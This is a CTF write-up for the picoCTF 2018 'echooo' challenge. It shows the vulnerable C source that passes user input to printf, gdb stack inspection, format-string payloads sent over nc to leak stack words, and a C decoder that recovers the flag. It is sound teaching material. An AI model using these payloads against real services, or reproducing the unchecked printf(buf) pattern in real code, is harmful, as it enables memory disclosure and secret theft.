picoCTF 2018 - echooo
This program prints any input you give it. Can you leak the flag? Connect with nc 2018shell3.picoctf.com 23397. Source.
Solution
here’s the source code
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
char buf[64];
char flag[64];
char *flag_ptr = flag;
// Set the gid to the effective gid
gid_t gid = getegid();
setresgid(gid, gid, gid);
memset(buf, 0, sizeof(flag));
memset(buf, 0, sizeof(buf));
puts("Time to learn about Format Strings!");
puts("We will evaluate any format string you give us with printf().");
puts("See if you can get the flag!");
FILE *file = fopen("flag.txt", "r");
if (file == NULL) {
printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
exit(0);
}
fgets(flag, sizeof(flag), file);
while(1) {
printf("> ");
fgets(buf, sizeof(buf), stdin);
printf(buf);
}
return 0;
}
let’s open the executable locally with gdb and have a look at the stack before the format string gets executed
——> gdb echo
Reading symbols from echo...(no debugging symbols found)...done.
gdb-peda$ disas main
Dump of assembler code for function main:
0x080485fb <+0>: lea ecx,[esp+0x4]
[..]
0x080486ff <+260>: call 0x8048490 <exit@plt>
0x08048704 <+265>: sub esp,0x4
0x08048707 <+268>: push DWORD PTR [ebp-0x90]
0x0804870d <+274>: push 0x40
0x0804870f <+276>: lea eax,[ebp-0x4c]
0x08048712 <+279>: push eax
0x08048713 <+280>: call 0x8048460 <fgets@plt> <-- fgets(flag, sizeof(flag), file);
0x08048718 <+285>: add esp,0x10
[..]
0x08048742 <+327>: add esp,0x10
0x08048745 <+330>: sub esp,0xc
0x08048748 <+333>: lea eax,[ebp-0x8c]
0x0804874e <+339>: push eax
0x0804874f <+340>: call 0x8048450 <printf@plt>
0x08048754 <+345>: add esp,0x10
0x08048757 <+348>: jmp 0x804871b <main+288>
End of assembler dump.
gdb-peda$ b *0x0804874f
Breakpoint 1 at 0x804874f
gdb-peda$ r
Starting program: /home/andrei/Documents/pico/echo
Time to learn about Format Strings!
We will evaluate any format string you give us with printf().
See if you can get the flag!
> AAAABBBB
Breakpoint 1, 0x0804874f in main ()
gdb-peda$
looking at the disassembly of main we can also get the address of the flag
variable; the call to the fgets that reads the flag.txt file is at main+280, and just before that the flag buffer is pushed on the stack from eax to pass it as argument. the address is loaded on eax the line before with lea eax,[ebp-0x4c]
so there’s our buffer:
gdb-peda$ x/wx $ebp-0x4c
0xffffd8fc: 0x6f636970
and here’s the stack prior to the printf
gdb-peda$ x/64wx $esp
0xffffd890: 0xffffd8bc 0x00000040 0xf7f95580 0x08048647
0xffffd8a0: 0xf7ffc8e4 0xf63d4e2e 0xf7ffdacc 0xffffd9f4
0xffffd8b0: 0xffffd8fc 0x000003e8 0x0804b160 0x41414141
0xffffd8c0: 0x42424242 0x0000000a 0x00000000 0x00000000
0xffffd8d0: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd8e0: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd8f0: 0x00000000 0x00000000 0x00000000 0x6f636970
0xffffd900: 0x7b465443 0x6b6e6166 0x7d6f6c75 0xf7f9000a
0xffffd910: 0xf7f94e24 0xf7f94e24 0x00000000 0xf7dedafb
0xffffd920: 0xf7f953bc 0x00040000 0x00000003 0x080487ab
0xffffd930: 0x00000001 0xffffd9f4 0xffffd9fc 0x0fec1a00
0xffffd940: 0xf7fe4150 0xffffd960 0x00000000 0xf7dd6b41
0xffffd950: 0xf7f94e24 0xf7f94e24 0x00000000 0xf7dd6b41
0xffffd960: 0x00000001 0xffffd9f4 0xffffd9fc 0xffffd984
0xffffd970: 0x00000001 0x00000000 0xf7f94e24 0xffffffff
0xffffd980: 0xf7ffcfb4 0x00000000 0xf7f94e24 0xf7f94e24
so our input begins at 0xffffd8bc and the flag begins at 0xffffd8fc; also the flag buf is the 27th word on the stack, we can check that with the format string:
Time to learn about Format Strings!
We will evaluate any format string you give us with printf().
See if you can get the flag!
> 0x%27$08x
0x6f636970
bingo. now we just need to read the flag. after nc
ing on the server we try to read the flag string:
——> nc 2018shell3.picoctf.com 23397
Time to learn about Format Strings!
We will evaluate any format string you give us with printf().
See if you can get the flag!
> %27s
timeout: the monitored command dumped core
but that leads to core dump. so we can read the words and translate them to string locally
——> nc 2018shell3.picoctf.com 23397
Time to learn about Format Strings!
We will evaluate any format string you give us with printf().
See if you can get the flag!
> 0x%27$08x_0x%28$08x_0x%29$08x_0x%30$08x_0x%31$08x_0x%32$08x_
0x6f636970_0x7b465443_0x6d526f66_0x735f7434_0x6e695274_0x615f7347_
after we have all the words we can write a C program to read the flag:
#include <stdio.h>
int main(void) {
int s[] = {0x6f636970, 0x7b465443, 0x6d526f66, 0x735f7434,
0x6e695274, 0x615f7347, 0x445f6552, 0x65476e61,
0x73753072, 0x3435325f, 0x61383431, 0x000a7d65,
0x080487ab, 0x00000001, 0x00};
printf("%s\n", (char *) s);
return 0;
}
——> gcc -m32 decode.c -o decode
——> ./decode
picoCTF{foRm4t_stRinGs_aRe_DanGer0us_254148ae}